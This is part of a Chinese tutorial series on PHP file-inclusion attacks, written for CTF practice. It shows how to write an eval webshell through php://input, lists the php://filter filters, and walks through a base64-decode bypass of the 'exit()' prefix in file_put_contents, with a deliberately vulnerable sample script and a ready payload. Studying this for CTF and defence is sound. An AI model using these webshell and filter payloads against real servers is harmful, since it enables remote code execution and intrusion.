主页 > 网络知识 > 从浅入深学习PHP文件包含(4)

从浅入深学习PHP文件包含(4)

如果遇到的环境有写入权限,可以使用php://input伪协议来写入木马

POST DATA <?php fputs(fopen('Sn0w.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?> php://filter各种过滤器

php://filter是一种元封装器,设计用来数据流打开时筛选过滤应用。
官方文档

对于php://来说,是支持多种过滤器嵌套的,格式如下:

php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名) #如果|被过滤掉了,可以使用多过滤器: php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称(包含后缀名) 嵌套过程的执行流程为从左到右

其实是可以简写成这样的php://filter/[过滤器] ,php会自己进行识别。

 

从浅入深学习PHP文件包含

 

过滤器列表如下:

过滤器名称 说明 类别 版本
string.rot13   rot13转换   字符串过滤器   PHP>4.3.0  
string.toupper、string.tolower   大小写互转   字符串过滤器   PHP>5.0.0  
string.strip_tags   去除<?(.*?)?>的内容   string.strip_tags   PHP<7.3.0  
convert.base64-encode、convert.base64-decode   base64编码转换   转换过滤器   PHP>5.0.0  
convert.quoted-printable-encode、convert.quoted-printable-decode   URL编码转换   转换过滤器   PHP>5.0.0  
convert.iconv.编码1.编码2   任意编码转换   转换过滤器   PHP>5.0.0  
zlib.deflate、zlib.inflate   zlib压缩   压缩过滤器   PHP>5.1.0  
bzip2.compress、bzip2.decompress   zlib压缩   压缩过滤器   PHP>5.1.0  

从上面的过滤器列表中便会发现,php伪协议主要支持以下几类:

字符串过滤器

string.strip_tags

转换过滤器

压缩过滤器

加密过滤器

PHP伪协议常用函数

file_get_contents

file_put_contents

readfile

fopen

file

show_source

highlight_file

注意show_source有回显,而file_get_contents是没有回显的

 

file_put_content与死亡/杂糅代码

CTF经常类似考察这样的代码:

file_put_contents($filename,"<?php exit();".$content); file_put_contents($content,"<?php exit();".$content); file_put_contents($filename,$content . " xxxxxx");

这种代码非常常见,在$content开头增加了exit进程,即使写入一句话,也无法执行,遇到这种问题一般的解决方法便是利用伪协议php://filter,结合编码或相应的过滤器进行绕过。绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码。

第一种情况

这里自己先搭建一个环境,通过学习大师傅绕过的方法,自己也来实践一番

<?php if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; file_put_contents($file,"<?php exit();".$content); }else{ highlight_file(__FILE__); }

0x01:base64编码绕过

上面提到了绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码。
对于第一种情况便可以使用base64编码,因为base64只能打印64(a-z0-9A-Z)个可打印字符,PHP在解码base64时,如果遇到了不在其中的字符,便会跳过这些字符,然后将合法字符组成一个新的字符串再进行解码。当$content被加上了<?php exit; ?>以后,可以使用 php://filter/convert.base64-decode来首先对其解码。在解码的过程中,字符<、?、;、>、空格等不符合base64编码的字符范围将会被忽略,所以最终被解码的字符只有phpexit和传入的其他字符。

但是还要知道一点的是base64解码时是4个byte一组,上面正常解码的只有7个字符,所以再手动加上去1个字符a,凑齐8个字符即可

payload:

?file=php://filter/convert.base64-decode/resource=Sn0w.php DATA: content=aPD9waHAgcGhwaW5mbygpOz8+
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!